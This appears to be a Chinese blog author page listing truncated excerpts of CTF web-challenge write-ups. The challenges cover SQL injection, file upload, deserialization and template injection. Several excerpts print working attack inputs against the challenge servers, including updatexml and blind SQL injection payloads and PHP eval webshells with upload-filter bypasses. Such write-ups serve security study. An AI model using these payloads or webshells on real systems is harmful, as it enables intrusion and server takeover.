![](https://img-blog.csdnimg.cn/20201014180756930.png?x-oss-process=image/resize,m_fixed,h_224,w_224)
wp
CTFweb方向题解
d0ud
作者很懒,懒得连简介都不写
展开
-
[安洵杯 2019]easy_serialize_php
打开题目,得到源码<?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){ unset($_SESSI原创 2021-11-15 22:30:25 · 74 阅读 · 0 评论 -
[BJDCTF2020]Cookie is so stable
打开题目,看着像注入,测试发现确实存在模板注入但回显的数据是根据客户端发送的cookie确定的。提交表单后,服务端给客户端重定向并根据表单信息设置cookie,客户端被重定向时会发送刚刚得到的cookie,服务端根据cookie回显数据。但其实这题的重定向只是再次访问了flag.php。具体请自行F12查看。测试发现是Twig模板,根据网上大量的Twig模板注入payload即可得到flag...原创 2021-11-12 16:31:45 · 1426 阅读 · 0 评论 -
[BSidesCF 2020]Had a bad day
打开题目,发现可疑网址index.php?category=woofers测试参数时发现可能存在后缀为php的文件包含index.php?category=woofers%20aWarning: include(woofers a.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37Warning: include(): Failed opening ‘woo原创 2021-11-11 21:19:46 · 726 阅读 · 0 评论 -
[网鼎杯 2020 朱雀组]phpweb
打开题目Warning: date(): It is not safe to rely on the system’s timezone settings. You are required to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, yo原创 2021-11-05 15:50:16 · 112 阅读 · 0 评论 -
[安洵杯 2019]easy_web
打开题目,网址为index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=这两个参数似乎可以利用对img参数进行测试,发现加载的图片好像是由img决定的对TXpVek5UTTFNbVUzTURabE5qYz0base64解码得到MzUzNTM1MmU3MDZlNjc=,再次解码得到3535352e706e67,再hex解码得到555.png那可以直接得到index.php的源码 ,那岂不是也可以直接拿到flagindex.php?img=Tm原创 2021-11-03 16:53:30 · 225 阅读 · 0 评论 -
[GWCTF 2019]我有一个数据库
打开题目鎴戞湁涓€涓暟鎹簱锛屼絾閲岄潰浠€涔堜篃娌℃湁~涓嶄俊浣犳壘直接查看没什么提示,那就先扫一遍目录有 robots.txt 和 phpmyadminrobots.txtUser-agent: *Disallow: phpinfo.php访问,得到 phpinfo() 界面phpmyadmin 直接进入后台管理,但没有得到任何数据,看看这个版本的phpmyadmin有什么可以利用的漏洞搜索出来一大堆,直接借着现成的payload就行了...原创 2021-11-01 12:15:33 · 312 阅读 · 0 评论 -
[SUCTF 2019]EasySQL
打开题目,简单测试,可以发现是数字型注入对于提交的数据,字符不回显,除零回显不同外,任何数字都有相同回显,union被过滤,但在尝试堆叠注入时成功。query=1;show tables;Array ( [0] => 1 ) Array ( [0] => Flag )在后续测试中发现,如果在提交的数字后加入分号,则回显的数据为提交的数字,猜测查询语句的前半段为select $_POST['query'] ...验证query=13;select 4Array ( [0原创 2021-10-30 16:30:55 · 129 阅读 · 0 评论 -
[CISCN2019 华北赛区 Day2 Web1]Hack World
打开题目,简单测试发现是数字型注入且大部分关键字都被过滤,尝试布尔盲注。id=0^((substr((select(flag)from(flag)),1,1))='f')回显id=1时的界面说明注入成功,用脚本即可跑出flagimport requestsurl = "http://88cefe6c-611d-488c-89c1-a6ae8a08a682.node4.buuoj.cn:81/index.php"dat = { "id" : ""}for i in range(1,60):原创 2021-10-28 17:25:25 · 148 阅读 · 0 评论 -
[极客大挑战 2019]HardSQL
打开题目,SQL注入,看来是有严格限制,但好在没过滤引号输入部分SQL关键字测试发现过滤了的关键字有union(空格)=/*union注入和堆叠注入均为失败,但会回显报错信息,可以尝试报错注入这里使用updatexml()库名check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23XPATH syntax error: ‘~geek~’表名check原创 2021-10-27 17:11:24 · 64 阅读 · 0 评论 -
[网鼎杯 2020 青龙组]AreUSerialz
打开题目,获得一大段代码<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $c原创 2021-10-26 20:49:13 · 59 阅读 · 0 评论 -
[网鼎杯 2018]Fakebook
打开题目,先看看有什么功能,发现查看用户时,网址为view.php?no=1尝试view.php?no=0得到报错界面。尝试用"order by"测试,发现存在SQL注入,且得出字段数为4开始尝试查询view.php?no=0%20union%20select%201,2,3,4回显no hack _用内联注释绕过view.php?no=1%20/*!%20union*/%20select%201,2,3,4%20limit%201,1然而出现了奇怪的报错回显第二个原创 2021-10-25 21:43:31 · 189 阅读 · 0 评论 -
[MRCTF2020]Ez_bypass
打开题目I put something in F12 for you include 'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got原创 2021-10-25 19:02:09 · 108 阅读 · 0 评论 -
[ZJCTF 2019]NiZhuanSiWei
打开题目<?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br原创 2021-10-24 15:00:54 · 89 阅读 · 0 评论 -
[SUCTF 2019]CheckIn
打开题目,常规的文件上传经过各种上传测试,似乎在后端有文件后缀检测且难以绕过但可以上传.user.ini文件,且上传文件成功后会主动给出路径,而这个路径下恰好有一个php文件上传木马GIF8a<script language='php'>@eval($_POST['door']);</script>得到木马路径Your dir uploads/0e2baa5f405a4e8f1b40ce791fae880aYour files :array(4) { [0]=&原创 2021-10-23 17:02:14 · 163 阅读 · 0 评论 -
[护网杯 2018]easy_tornado
打开题目,获得三个txt文件/flag.txt/welcome.txt/hints.txt逐个查看/flag.txtflag in /fllllllllllllag/welcome.txtrender/hints.txtmd5(cookie_secret+md5(filename))注意网址file?filename=/hints.txt&filehash=a5e3bf0b05c444070549eeced63bdeab那么我们应该是要访问file?f原创 2021-10-22 19:11:08 · 90 阅读 · 0 评论 -
[极客大挑战 2019]BabySQL
打开题目,输入测试语句admin'123回显You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘123’’ at line 1那么我们有理由怀疑查询username和password的SQL语句是同一句admin';123You have an error in原创 2021-10-20 20:32:51 · 90 阅读 · 0 评论 -
[HCTF 2018]WarmUp
打开题目,无线索,查看源码,提示source.php访问,得到源码<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isse原创 2021-10-19 20:12:49 · 49 阅读 · 0 评论 -
[极客大挑战 2019]PHP
打开题目,提示备份网站,直接扫描目录,得到www.zip解压得到class.php,index.php,flag.php等源码index.php中关键代码为 <?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>class.php为<?phpinclude 'flag.php';error_reporting(0);原创 2021-10-18 12:42:36 · 661 阅读 · 0 评论 -
[RoarCTF 2019]Easy Calc
打开题目,查看源码,发现关键代码<!--I've set up WAF to ensure security.--><script> $('#calc').submit(function(){ $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), type:'GET', success:functio原创 2021-10-17 16:50:12 · 86 阅读 · 0 评论 -
[极客大挑战 2019]LoveSQL
显然是一道SQL注入题在用户名和密码处输入引号测试,可以发现是单引号闭合。输入以下进行测试q';test123回显You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘test’ and password=‘123’’ at line 1此时很容易想到输入a1' or原创 2021-10-16 22:29:09 · 80 阅读 · 0 评论 -
[强网杯 2019]随便注
参考[GYCTF2020]Blacklist不同点在于,这道题目的表名为纯数字字符串,需要用反单引号括起来。原创 2021-10-15 15:44:32 · 54 阅读 · 0 评论 -
[ACTF2020 新生赛]Upload
打开题目,文件上传选择后缀为php的shell上传,弹出警告该文件不允许上传,请上传jpg、png、gif结尾的图片噢!将文件后缀改为jpg,上传成功Upload Success! Look here~ ./uplo4d/394659692a460258b45a99f1424ea357.jpg再次上传,并抓包将后缀改为phtmlUpload Success! Look here~ ./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml上传成功原创 2021-10-15 15:13:53 · 219 阅读 · 0 评论 -
[极客大挑战 2019]Upload
打开题目,为文件上传尝试上传后缀为php的木马<?php @eval($_GET['door']); ?>结果Not image!将后缀改为jpg,结果NO! HACKER! your file included ‘<?’将木马改为<script language='php'>@eval($_GET['door']);</script>再次上传,结果Don’t lie to me, it’s not image at all!!!原创 2021-10-14 22:15:58 · 155 阅读 · 0 评论 -
[GYCTF2020]Blacklist
打开题目网址,是一个表单。输入引号测试,输入单引号时,出现如下报错error 1064 : You have an error in your SQL syntax; check themanual that corresponds to your MariaDB server version for theright syntax to use near ‘1’’’ at line 1继续输入SQL语句测试,出现如下returnpreg_match("/set|prepare|alte原创 2021-10-14 19:55:06 · 83 阅读 · 0 评论